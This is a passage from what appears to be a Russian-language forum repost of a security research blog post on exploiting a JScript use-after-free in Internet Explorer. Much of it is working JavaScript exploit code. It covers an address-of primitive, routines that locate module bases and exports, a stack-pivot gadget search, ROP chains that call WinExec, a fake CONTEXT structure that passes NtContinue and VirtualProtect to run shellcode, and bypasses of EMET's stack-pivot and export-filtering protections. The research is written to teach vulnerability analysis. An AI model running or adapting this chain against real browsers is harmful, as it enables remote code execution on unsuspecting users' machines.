return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)}; // Return the lower and upper parts of the resulting value
}
Существует альтернативный примитив для чтения до 0xffffffff байтов со смещения. Для 32-разрядного браузера это позволяет ссылаться на все адресное пространство после переменной. Однако 64-битный означает, что это полезно только для чтения небольшой области памяти. Он включает в себя построение строки, например:
Код:
var fake_bstr = "\uffff\uffff";
Создавая большое количество переменных с этой строкой, GcBlock будет обработан указателем строки. Затем первый метод утечки информации, описанный выше, можно использовать для утечки адреса строки. Как только этот адрес получен, можно использовать метод смешения типов для создания новой строковой VAR, в которой указатель объекта находится на 4 байта впереди местоположения строки. Это приведет к тому, что 0xffffffff будет рассматриваться как длина BSTR, что позволит использовать функцию charCodeAt для чтения значения произвольных адресов памяти.
Можно использовать третий вариант, при котором несколько переменных почти полностью перекрываются. Этот вариант намного стабильнее, но имеет ограничения. Рассмотрим следующий VAR:
Тип VAR равен 5, поэтому указатель объекта обрабатывается как значение с плавающей запятой. Теперь рассмотрим вторую переменную, которая указывает на переменную за 2 байта до начала этой переменной:
Эти два VAR почти полностью перекрываются. Распыляя неинициализированную память перед созданием этих переменных, можно было бы перезаписать два байта памяти вне пределов памяти и таким образом, изменить тип перекрывающейся переменной:
Если эта вторая переменная сделана строкой, как показано выше, то указатель объекта может использоваться для произвольного чтения. Переменную с плавающей запятой можно использовать для изменения 48 старших битов строкового указателя на переменную, однако последние 16 бит не могут быть изменены.
Для этого эксплоита будет использоваться первый вариант.
Эксплуатация — Адрес примитива
В процессе эксплуатации необходимо будет найти адреса ряда переменных, например, при утечке файла JScript или при получении адреса строк. На этом этапе произошла утечка указателя VVAL, и был идентифицирован точный объект, который необходимо освободить и перераспределить, образуя примитив чтения.
Примитив address-of становится тривиальным для реализации с использованием функций, рассмотренных в предыдущем разделе:
JavaScript:
function addrof(o) {
var_addr = read_dword(leak_lower + 8, 0, o);
return read_dword(var_addr + 8, 0, o);
}
Приведенный выше код предполагает, что объект будет расположен в пределах 32-битного диапазона, как это было доказано во время тестирования. Он работает, устанавливая VAR в начале места утечки VVAL в качестве целевого объекта и заменяя произвольную строку чтения, чтобы указать на указатель объекта этой VAR. После того, как это значение было прочитано, оно повторяется со вторым VAR, и указатель объекта извлекается следующим образом:
Эксплуатация - Обработка ASLR и модулей
Поскольку нет способа узнать, какие версии DLL используются в целевой системе и, следовательно, каковы смещения для требуемых функций, идентификация базы этих модулей должна выполняться программно с использованием инфо-утечки и примитива чтения, обсужденных в предыдущем разделе. Базовый обзор этого выглядит следующим образом:
- Утечка указателя модуля из объекта.
- Установите младшие 16 бит адреса в 0.
- Проверьте, находится ли заголовок или заглушка DOS на ожидаемом смещении от базы.
- Если нет, уменьшите адрес на 0x10000.
- Повторяйте шаги 2, 3 и 4, пока не определите заголовок или заглушку DOS.
Шаг первый довольно прост. Начиная с утечки указателя jscript.dll, все, что нужно сделать, это:
- Создать новый объект JavaScript.
- Использовать описанный выше примитив addrof, чтобы получить адрес структуры VAR.
- Следоватье указателям объектов в VAR (смещение 8), чтобы добраться до основного объекта (например, объекта RegExpObj или NameTbl).
- Считывать указатель vftable со смещением 0.
Реализовать шаги 2–5 в JavaScript можно следующим образом:
JavaScript:
function find_module_base(ptr) { // ptr is an object of the form {'upper': address_upper, 'lower': address_lower}
ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point
while(true) {
if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This' - Part of the DOS stub
WScript.Echo("[+] Found module base!");
ptr.lower -= 0x4e; // Subtract the offset to get the base
return ptr;
}
ptr.lower -= 0x10000;
}
}
После обнаружения базы следующим шагом будет поиск адреса целевой DLL, в которой мы хотим использовать функцию. В основе jscript.dll лежит структура IMAGE_DOS_HEADER.
После этого заголовка следует код заглушки DOS, обычно используемый для отображения того, что исполняемый файл не может быть запущен в DOS. Член e_lfanew содержит смещение от основания модуля до структуры IMAGE_NT_HEADERS. Эта структура содержит оболочку вокруг второй структуры с именем IMAGE_OPTIONAL_HEADER, которая содержит дополнительную информацию о PE-файле.
Важной частью здесь является член DataDirectory. Этот массив содержит ряд структур IMAGE_DATA_DIRECTORY, которые задают смещения для различных каталогов данных, таких как каталоги экспорта и импорта. Смещения каждого из этих каталогов статичны от начала IMAGE_OPTIONAL_HEADER, с каталогом экспорта со смещением 0x70 и каталогом импорта со смещением 0x78.
Каталог импорта содержит повторяющуюся структуру, которая используется для каждого импортированного модуля. Структура содержит два важных члена: ModuleName и ImportAddressTable (IAT). ModuleName указывает на строку, содержащую имя модуля (например, "msvcrt.dll"), а ImportAddressTable указывает на массив импортированных указателей на функции. Выбрав первую функцию в IAT, можно повторить шаги, описанные ранее для jscript.dll, для определения базы целевого модуля.
Следующая функция показывает, как это можно сделать в эксплоите:
JavaScript:
function leak_module(base, target_name_lower, target_name_upper) { // target_name_* are DWORD little-endian numbers that represent part of the name string
// Get IMAGE_NT_HEADERS pointer
module_lower = base.lower + 0x3c; // PE Header offset location
module_upper = base.upper;
file_addr = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] PE Header offset = 0x" + file_addr.toString(16));
// Get imports
module_lower = base.lower + file_addr + 0x90; // Import Directory offset location
import_dir = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Import offset = 0x" + import_dir.toString(16));
// Get import size
module_lower = base.lower + file_addr + 0x94; // Import Directory size offset location
import_size = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Size of imports = 0x" + import_size.toString(16));
// Find module
module_lower = base.lower + import_dir;
while(import_size != 0) {
name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer
if(name_ptr == 0) {
throw Error("Couldn't find the target module name");
}
name_lower = read_dword(base.lower + name_ptr, base.upper);
name_upper = read_dword(base.lower + name_ptr + 4, base.upper);
if(name_lower == target_name_lower && name_upper == target_name_upper) {
WScript.Echo("[+] Found the module! Leaking a random module pointer...");
iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table
leaked_address = read_qword(base.lower + iat, base.upper);
WScript.Echo("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16));
return leaked_address;
}
import_size -= 0x14; // The size of each entry
module_lower += 0x14; // Increase entry pointer
}
}
После того, как база целевого модуля найдена, необходимо определить целевую функцию. Это делается путем анализа каталога экспорта в целевом модуле. Каталог экспорта использует одну структуру, содержащую три важных элемента: AddressOfFunctions, AddressOfNames и AddressOfNameOrdinals. Используя их, можно найти желаемую целевую функцию. AddressOfNames - это массив указателей на строки имен функций. Как только желаемая функция найдена путем итерации по массиву, индекс этого имени используется в качестве индекса для массива AddressOfNameOrdinals. Этот массив содержит серию чисел, которые действуют как индексы для массива AddressOfFunctions, который содержит указатели на функции.
Поскольку существует много похожих имен для функций (например, _stricmp и _stricmp_l), следующая функция JavaScript немного больше, чтобы обеспечить проверку до 16 байтов. Также полезно отметить, что следующая функция не выполняет линейный поиск в списке экспорта, а вместо этого оптимизирована для использования двоичного поиска, что позволяет сэкономить значительное количество времени:1
JavaScript:
function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) {
// Get IMAGE_NT_HEADERS pointer
module_lower = base.lower + 0x3c; // PE Header offset location
module_upper = base.upper;
file_addr = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] PE Header offset at 0x" + file_addr.toString(16));
// Get exports
module_lower = base.lower + file_addr + 0x88; // Export Directory offset location
export_dir = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export offset at 0x" + import_dir.toString(16));
// Get the number of exports
module_lower = base.lower + export_dir + 0x14; // Number of items offset
export_num = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export count is " + export_num);
// Get the address offset
module_lower = base.lower + export_dir + 0x1c; // Address offset
addresses = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export address offset at 0x" + addresses.toString(16));
// Get the names offset
module_lower = base.lower + export_dir + 0x20; // Names offset
names = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export names offset at 0x" + names.toString(16));
// Get the ordinals offset
module_lower = base.lower + export_dir + 0x24; // Ordinals offset
ordinals = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export ordinals offset at 0x" + ordinals.toString(16));
// Binary search because linear search is too slow
upper_limit = export_num; // Largest number in search space
lower_limit = 0; // Smallest number in search space
num_pointer = Math.floor(export_num/2);
module_lower = base.lower + names;
search_complete = false;
while(!search_complete) {
module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset
function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string
module_lower = base.lower + function_str_offset; // Point to the string
function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string
res = compare_nums(target_name_first, function_str_lower);
if(!res && target_name_second) {
function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_second, function_str_second);
if(!res && target_name_third) {
function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_third, function_str_third);
if(!res && target_name_fourth) {
function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_fourth, function_str_fourth);
}
}
}
if(!res) { // equal
module_lower = base.lower + ordinals + 2*num_pointer;
ordinal = read_word(module_lower, module_upper, 0);
module_lower = base.lower + addresses + 4*ordinal;
function_offset = read_dword(module_lower, module_upper, 0);
WScript.Echo("[+] Found target export at offset 0x" + function_offset.toString(16));
return {'lower': base.lower + function_offset, 'upper': base.upper};
} if(res == 1) {
if(upper_limit == num_pointer) {
throw Error("Failed to find the target export.");
}
upper_limit = num_pointer;
num_pointer = Math.floor((num_pointer + lower_limit) / 2);
} else {
if(lower_limit == num_pointer) {
throw Error("Failed to find the target export.");
}
lower_limit = num_pointer;
num_pointer = Math.floor((num_pointer + upper_limit) / 2);
}
if(num_pointer == upper_limit && num_pointer == lower_limit) {
throw Error("Failed to find the target export.");
}
}
throw Error("Failed to find matching export.");
}
function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater
WScript.Echo("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16));
if(target == current) {
WScript.Echo("[+] Equal!");
return 0;
}
while(target != 0 && current != 0) {
if((target & 0xff) > (current & 0xff)) {
return -1;
} else if((target & 0xff) < (current & 0xff)) {
return 1;
}
target = target >> 8;
current = current >> 8;
}
}
Эксплуатация - выполнение кода (обработка DEP с использованием ret2lib)
На данный момент целевые функции найдены, но по-прежнему требуется триггер для изменения потока выполнения и их вызова.
Самый простой способ сделать это - создать поддельный vftable в поддельном объекте и запустить одну из функций. Хорошей целью для вызова vftable функции является использование оператора typeof. Если тип JScript для VAR, указывающего на объект, равен 0x81, тогда код вызовет указатель функции на vftable + 0x138, чтобы определить, какую строку типа использовать:
Однако здесь возникает проблема: можно указать только один адрес. Поскольку атака не в стеке, цепочка ROP не может быть просто написана и выполнена. Решение этой проблемы состоит в том, чтобы переместить указатель стека в другую область памяти, которая находится под контролем, например, такой как утечку строки. Это метод, известный как разворот стека. Чтобы найти идеальный гаджет для этого эксплоита, необходимо выполнить ряд условий:
- На статические смещения DLL нельзя полагаться. - Невозможно узнать, какая версия DLL используется. Таким образом, они должны быть легко обнаружены путем поиска и поиска функций в модулях.
- Гаджеты, которых не существовало бы, если бы было внесено небольшое изменение кода, следует избегать, чтобы работать с как можно большим количеством версий DLL. Примером неправильного выбора может быть такой гаджет, как mov rax, [rsp + 0x14h]; ret, который может не существовать, если кадр стека был изменен путем добавления новой переменной к функции.
Регистр rax во время вызова vftable содержит адрес vftable. Следовательно, гаджет xchg eax, esp; retn был выбран для разворота стека. Причина, по которой 32-битные регистры в инструкции приемлемы для эксплоита, заключается в том, что расположение кучи, хотя и рандомизировано, обычно имеет довольно низкий адрес. Инструкция xchg также обнуляет неиспользуемые биты регистров (старшие 32 бита rax и rsp), что делает это идеальным для 64-битного поворота.
Байты, составляющие этот гаджет, существуют в инструкции setz bl в библиотеке msvcrt.dll, которая устанавливает младший байт rbx равным 0. Позже это используется как возвращаемое значение (определяющее успех или нет) функции. Поскольку это вряд ли что-то изменит, оно соответствует критериям, перечисленным выше.
Что касается того, как инструкции могут быть разбиты на другие инструкции, это становится понятнее, если изучить связанные с ними байты:
Код:
Instruction: setz bl
Bytes: 0F 94 C3
Instruction: xchg eax, esp
Bytes: 94
Instruction: retn
Bytes: C3
Чтобы найти байты 94 C3 динамически без статических смещений, необходимо пройти по каталогу импорта, чтобы найти адрес системной функции. Этот адрес используется в качестве основы для поиска, считывая СЛОВО за раз, пока не будут найдены требуемые байты:
JavaScript:
var msvcrt_system_export = leak_export(msvcrt_base, 0x74737973, 0, 0, 0);
var pivot = find_pivot();
function find_pivot() {
WScript.Echo("[*] Finding pivot gadget...");
pivot_offset = 0;
while(pivot_offset < 0x150) {
word_at_offset = read_word(msvcrt_system_export.lower + pivot_offset, msvcrt_system_export.upper);
if(word_at_offset == 0xc394) { // Little-Endian order
break;
}
pivot_offset += 1;
}
if(pivot_offset == 0x150) { // Maximum search range
throw Error("Failed to find pivot");
}
WScript.Echo("[+] Pivot found at offset 0x" + pivot_offset.toString(16));
return {'lower': msvcrt_system_export.lower + pivot_offset, 'upper': msvcrt_system_export.upper};
}
Поскольку вызов системной функции уже найден для целей разворота, его также можно использовать для извлечения calc без необходимости выполнять вызов VirtualProtect для использования шелл-кода. Однако оказывается, что системная функция не выполняется, если TabProcGrowth не установлен, вероятно, из-за того, как работает стандартный защищенный режим (реализованный с IE8), что делает его менее полезным в эксплоите. Лучшая функция выполнения команд - WinExec в kernel32. Это означает, что требуются еще два гаджета, чтобы поместить первый аргумент (указатель командной строки) в регистр rcx, а второй аргумент (параметр отображения) - в регистр rdx.
В качестве первого аргумента рекомендуется использовать функцию _hypot в msvcrt.dll. Эта функция работает с регистрами xmm для выполнения операций со значениями с плавающей запятой двойной точности. В этой функции появляется один гаджет: mulsd xmm0, xmm3; ret, который выполняет операцию скалярного умножения над двумя регистрами. Байты, составляющие эту инструкцию, - это F2 0F 59 C3. К счастью, байты 59 C3 - это байты для инструкций pop rcx; retn.
Гаджет второго аргумента можно найти в одноименной функции msvcrt.dll _hypotf в инструкции cvtps2pd xmm0, xmm3, которая состоит из байтов 0F 5A C3. Это можно использовать для создания гаджета pop rdx со вторыми двумя байтами (5A C3).
Создание ROP-цепочки требует некоторой предусмотрительности. Поскольку функция WinExec вызывает другие функции, перед цепочкой требуются дополнительные байты заполнения, чтобы обеспечить достаточно места для их кадров стека:
JavaScript:
function generate_gadget_string(gadget) {
return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]);
}
// Construct a gadget chain and place the initial_jmp (the pivot) at the correct vftable offset
function generate_rop_chain(gadgets, initial_jmp) {
chain = Array(pad_size + 1).join('A'); // Adds lots of stack space to prevent kernel32.dll crashing
for(i=0;i<gadgets.length;i++) {
chain += generate_gadget_string(gadgets[i]);
}
chain = chain + Array(157 - (chain.length - (pad_size))).join('A') + generate_gadget_string(initial_jmp);
chain = chain.substr(0, chain.length);
chain_addr = addrof(chain);
return chain_addr;
}
После выполнения появляется calc. Важно отметить, что IE выйдет из строя после запуска WinExec, поскольку в этом эксплоите не было реализовано продолжение процесса:
Эксплуатация - выполнение шеллкода (обработка DEP с помощью VirtualProtect)
Выполнение шелл-кода было золотым стандартом для разработки эксплоитов с незапамятных времен, однако средства защиты, такие как DEP, не позволяли выполнять шелл-код так же просто, как один прыжок. DEP отмечает области памяти, такие как стек и куча, как доступные только для чтения и записи. Поскольку нет разрешения на выполнение, шелл-код, помещенный в эти сегменты, не может быть выполнен. Один из способов обойти это в Windows - использовать функцию VirtualProtect, которая изменяет права доступа к странице памяти. Чтобы предоставить все 4 аргумента функции, значения должны быть помещены в регистры rcx, rdx, r8 и r9. Поиск гаджетов для всех этих регистров, соответствующих условиям, упомянутым в предыдущем разделе, оказывается особенно трудным, однако есть решение для использования отдельных гаджетов: NtContinue. Это недокументированная функция в ntdll.dll, которая выполняет системный вызов для заполнения регистров заданными значениями из структуры CONTEXT, что означает, что все четыре требуемых регистра могут быть заполнены за один вызов.
В случае VirtualProtect в структуре CONTEXT необходимо установить следующие значения:
- Параметр lpAddress будет указывать на шелл-код в куче.
- Параметр dwSize содержит размер шелл-кода.
- Параметр flNewProtect содержит новые разрешения для шеллкода. Разрешение здесь должно быть PAGE_EXECUTE_READWRITE (0x00000040).
- Параметр lpflOldProtect должен быть указателем на доступную для записи область памяти.
Для этого в JavaScript можно создать следующую фальшивую структуру CONTEXT:
JavaScript:
context = "AAAA" + // Padding is required to ensure that the address of CONTEXT is 6-byte aligned. Therefore when using the fake context, an 8 byte offset must be added.
"\u0000\u0000\u0000\u0000" + // P1Home
"\u0000\u0000\u0000\u0000" + // P2Home
"\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0002\u0010" + // ContextFlags - CONTEXT_INTEGER (only change Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15 - This means that Rsp will remain and the ROP chain can continue)
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0000\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u4141\u4141\u4141\u4141" + // Rax
String.fromCharCode.apply(null, [shellcode_address & 0xffff, (shellcode_address >> 16) & 0xffff]) + "\u0000\u0000" + // Rcx - shellcode
String.fromCharCode.apply(null, [shellcode.length & 0xffff, ((shellcode.length >> 16) & 0xffff)]) + "\u0000\u0000" + // Rdx - shellcode length
"\u4141\u4141\u4141\u4141" + // Rbx
"\u0000\u0000\u0000\u0000" + // Rsp
"\u0000\u0000\u0000\u0000" + // Rbp
"\u4141\u4141\u4141\u4141" + // Rsi
"\u4141\u4141\u4141\u4141" + // Rdi
"\u0040\u0000\u0000\u0000" + // R8 - Memory protection PAGE_EXECUTE_READWRITE
String.fromCharCode.apply(null, [writable_location & 0xffff, ((writable_location >> 16) & 0xffff)]) + "\u0000\u0000" + // R9 - Writable location
"\u4141\u4141\u4141\u4141" + // R11
"\u4141\u4141\u4141\u4141" + // R12
"\u4141\u4141\u4141\u4141" + // R13
"\u4141\u4141\u4141\u4141" + // R14
"\u4141\u4141\u4141\u4141" + // R15
"\u0000\u0000\u0000\u0000"; // Rip
context = context.substr(0, context.length); // Make the context string reallocate
context_address = addrof(context) + 8; // 8 is the offset to the context to skip past the padding
Таким образом, цепочка ROP после разворота стека:
Код:
[ Pop Rcx; Ret ]
[ Location of fake CONTEXT ]
[ NtContinue ]
[ VirtualProtect ]
[ Shellcode Address ]
Эксплуатация - Обход EMET
Рабочий эксплоит - это замечательно, но можно рассмотреть не только встроенные средства защиты от эксплоитов. Хотя указанные выше методы эксплоитов будут работать в стандартной системе, они не будут работать в системах с дополнительными функциями безопасности. В этом разделе будет кратко обсуждаться Enhanced Mitigation Experience Toolkit (EMET). EMET - это система защиты от эксплоитов, которая внедряется в процессы для выявления и предотвращения подозрительного поведения. Есть несколько включенных методов обнаружения, которые необходимо учитывать для этого эксплоита:
- Обнаружение разворота стека
- Фильтрация доступа к экспортной таблице адресов (EAF и EAF+)
Ряд дополнительных правил, таких как проверки вызывающего абонента и симулированные потоки выполнения, значительно усложнили бы использование этой уязвимости, однако они включены только для 32-разрядных программ.
Хотя срок действия этого программного обеспечения истек в 2018 году, его замена (Exploit Guard в Защитнике Windows) совместима только с Windows 10. Это означает, что EMET будет единственным официальным набором средств защиты от эксплоитов, работающим в целевых системах Windows 7.
Поскольку уже было проведено множество блестящих исследований по полному отключению EMET, в этом разделе мы сосредоточимся на индивидуальном обходе перечисленных выше методов обнаружения, влияющих на эксплоит.
Разворот в стеке
Чтобы выполнить цепочку ROP, необходимо переместить указатель стека в кучу, чтобы он действовал как новый кадр стека. Этот метод разворота стека был довольно критичным для упомянутых выше эксплоитов. Однако при этом запускается правило обнаружения разворота стека в EMET, что приводит к немедленному завершению работы программы. EMET проверяет разворот стека при выполнении критической функции. В случае этого эксплоита WinExec помечается как критическая функция.
Чтобы обойти эту защиту, нужно было сделать два шага:
- Сделать утечку указателя стека.
- Перейти непосредственно к NtContinue.
Утечка указателя стека была рассмотрена в сообщении блога Google Project Zero в разделе обхода CFG и работает с использованием произвольного примитива чтения для любого объекта JavaScript для утечки указателя объекта CSession, поскольку он содержит указатель на сам стек.
В JavaScript это реализовано следующим образом:
JavaScript:
function leak_stack_ptr() {
leak_obj = new Object(); // Create an object
addr = addrof(leak_obj); // Get address
csession_addr = read_dword(addr + 24, 0, 1); // Get CSession from offset 24
stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80
stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84
return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}
Затем этот указатель будет использоваться в фальшивой структуре CONTEXT в регистре rsp, чтобы избежать обнаружения разворота стека. После этого регистр копирования будет содержать целевое местоположение (в случае этого эксплойта - WinExec).
На этом этапе может возникнуть некоторая путаница в том, как указатель CONTEXT загружается в регистр первого аргумента rcx без использования гаджета pop rcx. Ответ прост: регистр rcx во время вызова функции в vftable содержит сам фальшивый объект, и поскольку единственная часть этого фальшивого объекта, которую нужно установить, - это первые 8 байтов (указатель vftable), остальная часть объекта может действовать как структура CONTEXT, как показано ниже:
Как показано, единственный регистр, которым нельзя управлять, - это P1Home, который перекрывает указатель vftable. Когда эксплоит запускается, стек остается в пределах допустимой области стека, все регистры контролируются, а WinExec выполняется без необходимости разворота.
Фильтрация адресов экспорта (EAF и EAF +)
В процессе эксплуатации необходимо найти адреса различных функций (WinExec, NtContext). Для этого анализируется список экспорта модуля. Фильтрация адресов экспорта добавляет аппаратные точки останова в таблицу адресов экспорта (EAT) важных модулей (например, kernel32 и ntdll) с использованием регистров отладки. Когда EAT читается, эта точка останова запускается, и EMET определяет, действителен ли этот доступ или нет. EAF определяет, исходит ли этот доступ из шелл-кода, и в этом случае завершает программу. Логика заключается в том, что большая часть шелл-кода будет проходить через EAT этих модулей, чтобы найти функции, которые можно использовать. К счастью, произвольный примитив чтения означает, что для чтения таблицы адресов экспорта не нужно полагаться на шеллкод, а это означает, что обнаружение EAF не будет инициировано эксплоитом.
EAF+, однако, - это совсем другая история. Среди прочего, это определяет, обращаются ли определенные модули (такие как jscript.dll или vbscript.dll) к таблицам экспорта и импорта важных модулей. Один из способов обойти это - использовать импорт самого jscript, который включает GetModuleHandleA и GetProcAddress. Этого достаточно, чтобы получить адрес любой функции из любого импортированного модуля. Однако реализация EMET 5.52 (последний выпуск EMET) не запускала EAF+ при запуске эксплоита без разворота стека, а версия 5.5 это сделала. Поскольку большинство системных администраторов, которые заботятся о защите от эксплоитов, почти наверняка будут использовать 5.52, можно с уверенностью предположить, что EAF+ не является серьезной проблемой.
В EMET 5.52 для запуска эксплоита достаточно просто обойти обнаружение разворота стека:
Вывод
Несмотря на свой возраст, Internet Explorer жив и здоров. Хотя многих может оттолкнуть идея исследования именно этого браузера из-за более низкой пользовательской базы по сравнению с современными браузерами, такими как Edge, тот факт, что уязвимости все еще обнаруживаются сегодня и что он продолжает быть целью злоумышленников, свидетельствует о том, что больше взглядов должно быть на нем. Этот пост заложил основу для исследования JScript, чтобы следующий раунд исследователей мог быстро разобраться с целью и начать поиск и использование собственных уязвимостей.
Источник: https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/
Последнее редактирование модератором: